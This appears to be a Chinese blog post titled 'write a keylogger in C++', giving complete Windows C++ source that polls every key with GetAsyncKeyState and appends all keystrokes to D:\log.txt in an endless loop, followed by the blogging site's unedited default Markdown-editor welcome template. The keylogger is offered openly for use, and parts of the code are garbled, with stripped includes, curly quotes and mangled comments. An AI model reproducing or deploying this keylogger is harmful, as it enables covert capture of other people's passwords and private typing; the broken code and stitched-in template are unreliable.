用c++写一个键盘记录程序

用c++写一个键盘记录程序
**#include #include #include #include #include using namespace std; string GetKey(int Key) // 判断键盘按下什么键 { string KeyString = ""; //判断符号输入 const int KeyPressMask=0x80000000; //键盘掩码常量 int iShift=GetKeyState(0x10); //判断Shift键状态 bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键 if(Key >=186 && Key <=222) { switch(Key) { case 186: if(IS) KeyString = ":"; else KeyString = ";"; break; case 187: if(IS) KeyString = "+"; else KeyString = "="; break; case 188: if(IS) KeyString = "<"; else KeyString = ","; break; case 189: if(IS) KeyString = "_"; else KeyString = "-"; break; case 190: if(IS) KeyString = ">"; else KeyString = "."; break; case 191: if(IS) KeyString = "?"; else KeyString = "/"; break; case 192: if(IS) KeyString = "~"; else KeyString = "";
break;
case 219:
if(IS)
KeyString = “{”;
else
KeyString = “[”;
break;
case 220:
if(IS)
KeyString = “|”;
else
KeyString = “\”;
break;
case 221:
if(IS)
KeyString = “}”;
else
KeyString = “]”;
break;
case 222:
if(IS)
KeyString = ‘"’;
else
KeyString = “’”;
break;
}
}
//判断键盘的第一行
if (Key == VK_ESCAPE) // 退出
KeyString = “[Esc]”;
else if (Key == VK_F1) // F1至F12
KeyString = “[F1]”;
else if (Key == VK_F2)
KeyString = “[F2]”;
else if (Key == VK_F3)
KeyString = “[F3]”;
else if (Key == VK_F4)
KeyString = “[F4]”;
else if (Key == VK_F5)
KeyString = “[F5]”;
else if (Key == VK_F6)
KeyString = “[F6]”;
else if (Key == VK_F7)
KeyString = “[F7]”;
else if (Key == VK_F8)
KeyString = “[F8]”;
else if (Key == VK_F9)
KeyString = “[F9]”;
else if (Key == VK_F10)
KeyString = “[F10]”;
else if (Key == VK_F11)
KeyString = “[F11]”;
else if (Key == VK_F12)
KeyString = “[F12]”;
else if (Key == VK_SNAPSHOT) // 打印屏幕
KeyString = “[PrScrn]”;
else if (Key == VK_SCROLL) // 滚动锁定
KeyString = “[Scroll Lock]”;
else if (Key == VK_PAUSE) // 暂停、中断
KeyString = “[Pause]”;
else if (Key == VK_CAPITAL) // 大写锁定
KeyString = “[Caps Lock]”;

//-------------------------------------//
//控制键
else if (Key == 8) //<- 回格键
KeyString = “[Backspace]”;
else if (Key == VK_RETURN) // 回车键、换行
KeyString = “[Enter]\n”;
else if (Key == VK_SPACE) // 空格
KeyString = " ";
//上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,
//上档键和别的键组合,输出时有字符输出
/*
else if (Key == VK_LSHIFT) // 左侧上档键
KeyString = “[Shift]”;
else if (Key == VK_LSHIFT) // 右侧上档键
KeyString = “[SHIFT]”;
*/
/如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件/
else if (Key == VK_TAB) // 制表键
KeyString = “[Tab]”;
else if (Key == VK_LCONTROL) // 左控制键
KeyString = “[Ctrl]”;
else if (Key == VK_RCONTROL) // 右控制键
KeyString = “[CTRL]”;
else if (Key == VK_LMENU) // 左换档键
KeyString = “[Alt]”;
else if (Key == VK_LMENU) // 右换档键
KeyString = “[ALT]”;
else if (Key == VK_LWIN) // 右 WINDOWS 键
KeyString = “[Win]”;
else if (Key == VK_RWIN) // 右 WINDOWS 键
KeyString = “[WIN]”;
else if (Key == VK_APPS) // 键盘上 右键
KeyString = “右键”;
else if (Key == VK_INSERT) // 插入
KeyString = “[Insert]”;
else if (Key == VK_DELETE) // 删除
KeyString = “[Delete]”;
else if (Key == VK_HOME) // 起始
KeyString = “[Home]”;
else if (Key == VK_END) // 结束
KeyString = “[End]”;
else if (Key == VK_PRIOR) // 上一页
KeyString = “[PgUp]”;
else if (Key == VK_NEXT) // 下一页
KeyString = “[PgDown]”;
// 不常用的几个键:一般键盘没有
else if (Key == VK_CANCEL) // Cancel
KeyString = “[Cancel]”;
else if (Key == VK_CLEAR) // Clear
KeyString = “[Clear]”;
else if (Key == VK_SELECT) //Select
KeyString = “[Select]”;
else if (Key == VK_PRINT) //Print
KeyString = “[Print]”;
else if (Key == VK_EXECUTE) //Execute
KeyString = “[Execute]”;

//----------------------------------------//
else if (Key == VK_LEFT) //上、下、左、右键
KeyString = “[←]”;
else if (Key == VK_RIGHT)
KeyString = “[→]”;
else if (Key == VK_UP)
KeyString = “[↑]”;
else if (Key == VK_DOWN)
KeyString = “[↓]”;
else if (Key == VK_NUMLOCK)//小键盘数码锁定
KeyString = “[NumLock]”;
else if (Key == VK_ADD) // 加、减、乘、除
KeyString = “+”;
else if (Key == VK_SUBTRACT)
KeyString = “-”;
else if (Key == VK_MULTIPLY)
KeyString = “*”;
else if (Key == VK_DIVIDE)
KeyString = “/”;
else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .
KeyString = “.”;
//小键盘数字键:0-9
else if (Key == VK_NUMPAD0)
KeyString = “0”;
else if (Key == VK_NUMPAD1)
KeyString = “1”;
else if (Key == VK_NUMPAD2)
KeyString = “2”;
else if (Key == VK_NUMPAD3)
KeyString = “3”;
else if (Key == VK_NUMPAD4)
KeyString = “4”;
else if (Key == VK_NUMPAD5)
KeyString = “5”;
else if (Key == VK_NUMPAD6)
KeyString = “6”;
else if (Key == VK_NUMPAD7)
KeyString = “7”;
else if (Key == VK_NUMPAD8)
KeyString = “8”;
else if (Key == VK_NUMPAD9)
KeyString = “9”;
//-------------------------------------------//

//-------------------------------------------//
//对字母的大小写进行判断//
else if (Key >=97 && Key <= 122) // 字母:a-z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定
{
if(IS) //Shift按下:为小写字母
KeyString = Key;
else // 只有大写锁定:输出大写字母
KeyString = Key - 32;
}
else// 大写没有锁定
{
if(IS) // 按下Shift键: 大写字母
KeyString = Key - 32;
else // 没有按Shift键: 小写字母
KeyString = Key;
}
}
else if (Key >=48 && Key <= 57) // 键盘数字:0-9及上方的符号
{
if(IS)
{
switch(Key)
{
case 48: //0
KeyString = “)”;
break;
case 49://1
KeyString = “!”;
break;
case 50://2
KeyString = “@”;
break;
case 51://3
KeyString = “#”;
break;
case 52://4
KeyString = “$”;
break;
case 53://5
KeyString = “%”;
break;
case 54://6
KeyString = “^”;
break;
case 55://7
KeyString = “&”;
break;
case 56://8
KeyString = “*”;
break;
case 57://9
KeyString = “(”;
break;
}
}
else
KeyString = Key;
}
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key >=65 && Key <=90) //ASCII 65-90 为A-Z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定:输出A-Z
{
if(IS) // 大写锁定,并且按下上档键:输出为小写字母
KeyString = Key + 32;
else //只有大写锁定:输出为大写字母
KeyString = Key;
}
else // 大写没有锁定:a-z
{
if(IS)
{
KeyString = Key;
}
else
{
Key = Key + 32;
KeyString = Key;
}
}
}
}

return KeyString;
}

int main()
{
string Filename = “D:\log.txt”;//倒出记录文本存在D盘log.txt目录下
string TempString = “”;
fstream FStream;
cout<<“现在开始键盘记录”;
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
while(true)
{
Sleep(5);
for(int i = 8; i <=255; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
TempString = GetKey (i);
FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}
}
}

}
`**

欢迎使用Markdown编辑器

你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章,了解一下Markdown的基本语法知识。

新的改变

我们对Markdown编辑器进行了一些功能拓展与语法支持,除了标准的Markdown编辑器功能,我们增加了如下几点新功能,帮助你用它写博客:

  1. 全新的界面设计 ,将会带来全新的写作体验;
  2. 在创作中心设置你喜爱的代码高亮样式,Markdown 将代码片显示选择的高亮样式 进行展示;
  3. 增加了 图片拖拽 功能,你可以将本地的图片直接拖拽到编辑区域直接展示;
  4. 全新的 KaTeX数学公式 语法;
  5. 增加了支持甘特图的mermaid语法1 功能;
  6. 增加了 多屏幕编辑 Markdown文章功能;
  7. 增加了 焦点写作模式、预览模式、简洁写作模式、左右区域同步滚轮设置 等功能,功能按钮位于编辑区域与预览区域中间;
  8. 增加了 检查列表 功能。

功能快捷键

撤销:Ctrl/Command + Z
重做:Ctrl/Command + Y
加粗:Ctrl/Command + B
斜体:Ctrl/Command + I
标题:Ctrl/Command + Shift + H
无序列表:Ctrl/Command + Shift + U
有序列表:Ctrl/Command + Shift + O
检查列表:Ctrl/Command + Shift + C
插入代码:Ctrl/Command + Shift + K
插入链接:Ctrl/Command + Shift + L
插入图片:Ctrl/Command + Shift + G

合理的创建标题,有助于目录的生成

直接输入1次#,并按下space后,将生成1级标题。
输入2次#,并按下space后,将生成2级标题。
以此类推,我们支持6级标题。有助于使用TOC语法后生成一个完美的目录。

如何改变文本的样式

强调文本 强调文本

加粗文本 加粗文本

标记文本

删除文本

引用文本

H2O is是液体。

210 运算结果是 1024.

插入链接与图片

链接: link.

图片: Alt

带尺寸的图片: Alt

居中的图片: Alt

居中并且带尺寸的图片: Alt

当然,我们为了让用户更加便捷,我们增加了图片拖拽功能。

如何插入一段漂亮的代码片

去博客设置页面,选择一款你喜欢的代码片高亮样式,下面展示同样高亮的 代码片.

// An highlighted block
var foo = 'bar';

生成一个适合你的列表

  • 项目
    • 项目
      • 项目
  1. 项目1
  2. 项目2
  3. 项目3
  • 计划任务
  • 完成任务

创建一个表格

一个简单的表格是这么创建的:

项目 Value
电脑 $1600
手机 $12
导管 $1

设定内容居中、居左、居右

使用:---------:居中
使用:----------居左
使用----------:居右

第一列 第二列 第三列
第一列文本居中 第二列文本居右 第三列文本居左

SmartyPants

SmartyPants将ASCII标点字符转换为“智能”印刷标点HTML实体。例如:

TYPE ASCII HTML
Single backticks 'Isn't this fun?' ‘Isn’t this fun?’
Quotes "Isn't this fun?" “Isn’t this fun?”
Dashes -- is en-dash, --- is em-dash – is en-dash, — is em-dash

创建一个自定义列表

Markdown
Text-to- HTML conversion tool
Authors
John
Luke

如何创建一个注脚

一个具有注脚的文本。2

注释也是必不可少的

Markdown将文本转换为 HTML

KaTeX数学公式

您可以使用渲染LaTeX数学表达式 KaTeX:

Gamma公式展示 Γ ( n ) = ( n − 1 ) ! ∀ n ∈ N \Gamma(n) = (n-1)!\quad\forall n\in\mathbb N Γ(n)=(n1)!nN 是通过欧拉积分

Γ ( z ) = ∫ 0 ∞ t z − 1 e − t d t   . \Gamma(z) = \int_0^\infty t^{z-1}e^{-t}dt\,. Γ(z)=0tz1etdt.

你可以找到更多关于的信息 LaTeX 数学表达式here.

新的甘特图功能,丰富你的文章

Mon 06 Mon 13 Mon 20 已完成 进行中 计划一 计划二 现有任务 Adding GANTT diagram functionality to mermaid
  • 关于 甘特图 语法,参考 这儿,

UML 图表

可以使用UML图表进行渲染。 Mermaid. 例如下面产生的一个序列图::

张三 李四 王五 你好!李四, 最近怎么样? 你最近怎么样,王五? 我很好,谢谢! 我很好,谢谢! 李四想了很长时间, 文字太长了 不适合放在一行. 打量着王五... 很好... 王五, 你怎么样? 张三 李四 王五

这将产生一个流程图。:

链接
长方形
圆角长方形
菱形
  • 关于 Mermaid 语法,参考 这儿,

FLowchart流程图

我们依旧会支持flowchart的流程图:

Created with Raphaël 2.2.0 开始 我的操作 确认? 结束 yes no
  • 关于 Flowchart流程图 语法,参考 这儿.

导出与导入

导出

如果你想尝试使用此编辑器, 你可以在此篇文章任意编辑。当你完成了一篇文章的写作, 在上方工具栏找到 文章导出 ,生成一个.md文件或者.html文件进行本地保存。

导入

如果你想加载一篇你写过的.md文件或者.html文件,在上方工具栏可以选择导入功能进行对应扩展名的文件导入,
继续你的创作。


  1. mermaid语法说明 ↩︎

  2. 注脚的解释 ↩︎

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